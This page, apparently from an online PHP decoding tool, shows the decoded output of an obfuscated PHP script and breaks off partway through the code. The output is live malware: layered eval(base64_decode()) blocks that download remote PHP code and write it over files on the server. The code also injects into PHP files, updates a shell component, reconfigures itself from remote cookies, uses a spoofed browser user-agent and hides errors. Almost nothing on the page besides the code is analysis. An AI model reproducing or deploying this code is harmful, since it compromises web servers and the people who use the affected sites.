Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdablZ1WTNScGIyNGdSa1k1TjBFeFJEZEJOVUk..

Decoded Output download

eval(base64_decode('ZnVuY3Rpb24gRkY5N0ExRDdBNUI3NzFCMjFENDIzQzNBOUQ3ODQwOEMxKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2NwJ10uJEdMT0JBTFNbJ2RnaW4nXSkpe3JldHVybjt9ICRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYpOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iZG93bmxvYWRlZCBwaHAgc2l6ZTogIi5zdHJsZW4oJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRikuIjxicj4iOyB9IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRiwgJyRHTE9CQUxTW1wnZGdjcFwnXSA9ICInLCAnIjsnLCAkR0xPQkFMU1snZGdjcCddKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHBhdGg8L2I+PGJyPls0NDg4MzI3OV0iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCBzZXQgdG8geyRHTE9CQUxTWydkZ2NwJ119PC9iPjxicj5bNTQ4Mjc0NV08YnI+IjsgfSBpZighRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYsICckR0xPQkFMU1tcJ2RnaW5cJ10gPSAiJywgJyI7JywgJEdMT0JBTFNbJ2RnaW4nXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCBuYW1lPC9iPjxicj5bNTg4MTkxNTJdIjsgfSBkaWUoKTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iPGIgc3R5bGU9XCJjb2xvcjpncmVlblwiPm5hbWUgc2V0IHRvIHskR0xPQkFMU1snZGdpbiddfTwvYj48YnI+WzIyNDY4NzZdPGJyPiI7IH0gaWYoIUY3QzIzQUExMzE4MjJGNzdBMzFCQzg0OTJEOUE3Q0UwMCgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGLCAnJEdMT0JBTFNbXCdkZ2VwXCddID0gIicsICciOycsICRHTE9CQUxTWydkZ2VwJ10pKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8YiBzdHlsZT1cImNvbG9yOnJlZFwiPmZhaWxlZCB0byBzZXQgcGF0aCB0byBleHBsb2l0PC9iPjxicj5bNTA5MzcxM10iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCB0byBleHBsb2l0IHN1Y2Nlc3NmdWxseSBzZXQgdG8geyRHTE9CQUxTWydkZ2VwJ119PC9iPjxicj5bODc5OTEwMl08YnI+IjsgfSBpZighRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYsICckR0xPQkFMU1tcJ2Rnc3BcJ10gPSAiJywgJyI7JywgJEdMT0JBTFNbJ2Rnc3AnXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCByZWxhdGl2ZSByb290IGRpcjwvYj48YnI+WzU4ODE5MTUyXSI7IH0gZGllKCk7IH0gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPVwiY29sb3I6Z3JlZW5cIj5yZWxhdGl2ZSByb290IGRpciBzdWNjZXNzZnVsbHkgc2V0IHskR0xPQkFMU1snZGdzcCddfTwvYj48YnI+WzU4OTMzMDFdPGJyPiI7IH0gaWYoIUY3QzIzQUExMzE4MjJGNzdBMzFCQzg0OTJEOUE3Q0UwMCgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGLCAnJEdMT0JBTFNbXCdkZ2Z4cFwnXSA9ICInLCAnIjsnLCAkR0xPQkFMU1snZGdmeHAnXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCBwYXRoIHRvIGZpeCBmaWxlPC9iPjxicj5bOTQ3NzEyNF0iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCB0byB0aGUgZmlsZSBmb3IgZml4IHN1Y2Nlc3NmdWxseSBzZXQgeyRHTE9CQUxTWydkZ2Z4cCddfTwvYj48YnI+WzUwMTg4NDNdPGJyPiI7IH0gJFJDRkZBRTc0MkZCNEU3MjQ1NzEwNDE3NzlBMTBFRkRBOSA9IEZDRTVGRTc2MUZFMzYyMjA0NThGQUU2NTFBRUFCRjZEOSgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGKTsgJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQiA9IHN0cnZhbChzdHJsZW4oJFJDRkZBRTc0MkZCNEU3MjQ1NzEwNDE3NzlBMTBFRkRBOSkpOyB3aGlsZShzdHJsZW4oJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQikgPCA3KXskUkU0NzcyNTVBODUwN0E1NEU1Q0E1NkNBMjQyMTBCN0RCID0gJzAnIC4gJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQjt9IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRiwgJyIwMCcuJzAnLCAnIjsnLCAkUkU0NzcyNTVBODUwN0E1NEU1Q0E1NkNBMjQyMTBCN0RCKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHNpemU8L2I+PGJyPls4NjYxMjkzNV0iOyB9IGRpZSgpOyB9ICRSQ0ZGQUU3NDJGQjRFNzI0NTcxMDQxNzc5QTEwRUZEQTkgPSBGQ0U1RkU3NjFGRTM2MjIwNDU4RkFFNjUxQUVBQkY2RDkoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRik7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJteSBwYWNrZWQgc2l6ZTogJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQjxicj4iOyB9IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10sICRSQ0ZGQUU3NDJGQjRFNzI0NTcxMDQxNzc5QTEwRUZEQTksICI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+eyRHTE9CQUxTWydkZ2NwJ119eyRHTE9CQUxTWydkZ2luJ119PC9iPjxicj4iLCAxLCAkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8aDM+SU5KRUNUSU5HIFBIUCBGSUxFUzwvaDM+IjsgfSBGMDEyRDY5QUM1Q0U5RUQ2QzJFQzVERjE2MDlDQTUxQzQoJEdMT0JBTFNbJ2RnZHInXSwgJEdMT0JBTFNbJ2RnaWonXSwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IGlmKCRHTE9CQUxTWydkZ3NwJ10peyBGMDEyRDY5QUM1Q0U5RUQ2QzJFQzVERjE2MDlDQTUxQzQoJEdMT0JBTFNbJ2Rnc3AnXSwgJEdMT0JBTFNbJ2RnaWonXSwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IH0gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8aHI+PGI+ZGdvazwvYj4iOyB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkUzMEMwMDVBOUVEMkQxRDcxOTVERDg0ODVDNzFFOTJDKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2RmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGdvb3JnZW4gZnJvbTogIi4kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLiI8YnI+IjsgfSAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gRkZENDU2NDA2NzQ1RDgxNkE0NUNBRTU1NEM3ODhFNzU0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsIDE4MCwgJFJGODlGNTE4RTQwRkY1M0I0RkQyQTdEMjQ0MDA5MEQ2Myk7IEZFMTlBN0ZBQjBGOTU5N0U2OEUyMzMxMUJCNUZCNDYwRigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvImRvd25sb2FkZWQgcGhwIHNpemU6ICIuc3RybGVuKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpLiI8YnI+IjsgfSBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RnZGYnXSwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgImZpbGUgeyRHTE9CQUxTWydkZ2RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpO30='));eval(base64_decode('ZnVuY3Rpb24gRjZCQjk0QjYyNzgwNTNFODFENjdCQjcxMjk3MkREQUE0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2ZmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGdvb3JnZW4gZnJvbTogIi4kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLiI8YnI+IjsgfSAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gRkZENDU2NDA2NzQ1RDgxNkE0NUNBRTU1NEM3ODhFNzU0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsIDE4MCwgJFJGODlGNTE4RTQwRkY1M0I0RkQyQTdEMjQ0MDA5MEQ2Myk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJkb3dubG9hZGVkIHN3ZiBzaXplOiAiLnN0cmxlbigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKS4iPGJyPiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ2ZmJ10sICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICJmaWxlIHskR0xPQkFMU1snZGdmZiddfSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4uLjxicj4iLCAxLCAkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTt9'));eval(base64_decode('ZnVuY3Rpb24gRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gZm9wZW4oJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgImEiKTsgaWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qil7IGZjbG9zZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgcmV0dXJuIHRydWU7IH1lbHNleyByZXR1cm4gZmFsc2U7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjgzQzgyMzE5Qzc5RTk1N0Y3ODUxQ0RFNDhGNDhEQjNFKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ3NmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIHNobCBmcm9tOiAiLiRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMuIjxicj4iOyB9ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iZG93bmxvYWRlZCBwaHAgc2l6ZTogIi5zdHJsZW4oJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQikuIjxicj4iOyB9IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdzZiddLCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiZmlsZSB7JEdMT0JBTFNbJ2Rnc2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjA5QzIyNkU4QzlFRkM5NkQ4Q0M2QjFERTQ5RTBDQ0U2KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ3NrZiddKSl7cmV0dXJuO30gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICJ1cGRhdGluZyBzayBmcm9tOiAiLiRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMuIjxicj4iOyB9ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSAnICcgLiB0cmltKEZGRDQ1NjQwNjc0NUQ4MTZBNDVDQUU1NTRDNzg4RTc1NCgkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLCAxODAsICRSRjg5RjUxOEU0MEZGNTNCNEZEMkE3RDI0NDAwOTBENjMpKTsgJFIyQTAzOUVEOEZEQkY0Q0VBQTlFNzlDREMzQUVDRDFBMiA9IHN0cnBvcygkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAnPj4+Pj4+PicpOyBpZigkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID4gMCl7JFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHRyaW0oc3Vic3RyKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIrNywgc3RybGVuKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpKSk7fSAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID0gc3RycG9zKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICc8PDw8PDw8Jyk7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSB0cmltKHN1YnN0cigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAwLCAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyKSk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJkb3dubG9hZGVkIHBocCBzaXplOiAiLnN0cmxlbigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKS4iPGJyPiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ3NrZiddLCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiZmlsZSB7JEdMT0JBTFNbJ2Rnc2tmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyB9IGlmKGlzc2V0KCRfR0VUWydkZ2QnXSkpeyBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgJiB+RV9OT1RJQ0UpOyB9ZWxzZXsgZXJyb3JfcmVwb3J0aW5nKDApO30='));eval(base64_decode('function FFD456406745D816A45CAE554C788E754($R6E4F14B335243BE656C65E3ED9E1B115, $RC5B265F9301FFAC9B75AD1757A1402CA, &$R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E = '', $RE0A7B1BE19805DBB2350D66EDBE24AEF = 0){ $R6AB508110D1CA1855AAE05AD02282850 = 2; if(!$R6E4F14B335243BE656C65E3ED9E1B115){return '';} if(isset($_GET['dgd'])){ echo"downloading: $R6E4F14B335243BE656C65E3ED9E1B115<br>"; } $R844DFC0FD25D1F7E03DECF1F5A9504A9 = parse_url($R6E4F14B335243BE656C65E3ED9E1B115); $R844DFC0FD25D1F7E03DECF1F5A9504A9[port] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[port]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[port] : 80; $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[path]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] : "/"; $R844DFC0FD25D1F7E03DECF1F5A9504A9[query] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[query]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] = $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] . "?" . $R844DFC0FD25D1F7E03DECF1F5A9504A9[query] : ""; if($R9D286369CBA2FBEB34D036FFC3C9EB2E){ $R0F99E0D6C7207D37EA8439D6EB434CDE = 'POST'; }else{ $R0F99E0D6C7207D37EA8439D6EB434CDE = 'GET'; } $RE91192A00FF990477EE414AD5D708F08 = "{$R0F99E0D6C7207D37EA8439D6EB434CDE} " . $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] . " HTTP/1.1\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Host: " . $R844DFC0FD25D1F7E03DECF1F5A9504A9[host] . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Accept: */*" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Connection: close" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n"; if($R9D286369CBA2FBEB34D036FFC3C9EB2E){ $RE91192A00FF990477EE414AD5D708F08 .= "Content-Type: application/x-www-form-urlencoded" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Content-Length: " . strlen($R9D286369CBA2FBEB34D036FFC3C9EB2E) . "\r\n"; } $RE91192A00FF990477EE414AD5D708F08 .= "\r\n{$R9D286369CBA2FBEB34D036FFC3C9EB2E}"; $R32D00070D4FFBCCE2FC669BBA812D4C2 = 0; $RB5ADDE8D7D7412251F47419FE9BF51A7 = ""; $RAD10634E7F72CAA071320F21AEE5930D = fsockopen($R844DFC0FD25D1F7E03DECF1F5A9504A9[host], $R844DFC0FD25D1F7E03DECF1F5A9504A9[port], $R32D00070D4FFBCCE2FC669BBA812D4C2, $RB5ADDE8D7D7412251F47419FE9BF51A7, $RC5B265F9301FFAC9B75AD1757A1402CA); $R60169CD1C47B7A7A85AB44F884635E41 = array(); $R7F9D6867B727C5EC3758829CBABBFD36 = array(); if($RAD10634E7F72CAA071320F21AEE5930D){ stream_set_timeout($RAD10634E7F72CAA071320F21AEE5930D, $RC5B265F9301FFAC9B75AD1757A1402CA); fwrite($RAD10634E7F72CAA071320F21AEE5930D, $RE91192A00FF990477EE414AD5D708F08); $RFA881AEE34CEA5BF14CD17E0AD2944C6 = false; while(!feof($RAD10634E7F72CAA071320F21AEE5930D)){ $R24D59CD0B76A27B85F35D40A3CF6EC37 = fgets($RAD10634E7F72CAA071320F21AEE5930D); if(!$RFA881AEE34CEA5BF14CD17E0AD2944C6){ if(trim($R24D59CD0B76A27B85F35D40A3CF6EC37) == ''){ $RFA881AEE34CEA5BF14CD17E0AD2944C6 = true; preg_match("/\s(\d+)\s/i", $R972A1D6D7FBAA83B27C6006E2C7CBC3F[0], $RE210144EE46D52EFF5A34BE0C0C71CCD); $R705C59363F6BEBFE41728F6F75F5423B = $RE210144EE46D52EFF5A34BE0C0C71CCD[1]; foreach($R972A1D6D7FBAA83B27C6006E2C7CBC3F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = explode(':', $R244F38266C59587D696AEC08A771B803); $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] = strtolower(trim($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0])); if($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] == 'set-cookie'){ $R4CAA478FC1005DCAD93D16E2B120C14D = explode('=', $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[1]); $RE674E33E8DC26EFCE29C0141E87BCC71 = strtolower(trim($R4CAA478FC1005DCAD93D16E2B120C14D[0])); $R2AD9950243B7A228B12A8650166BE4DC = trim($R4CAA478FC1005DCAD93D16E2B120C14D[1]); if($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'ml'){ if($R2AD9950243B7A228B12A8650166BE4DC > 0 && $R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['ml']){ $GLOBALS['dgopt']['ml'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'blo'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['dgblo']){ $GLOBALS['dgopt']['dgblo'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'fr'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['fr']){ $GLOBALS['dgopt']['fr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'qr'){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['qr']){ $GLOBALS['dgopt']['qr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'jsv' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $GLOBALS['jsv'] < $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST']){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_self<br>"; } $GLOBALS['dgu_jurl'] = $GLOBALS['dguh'] . 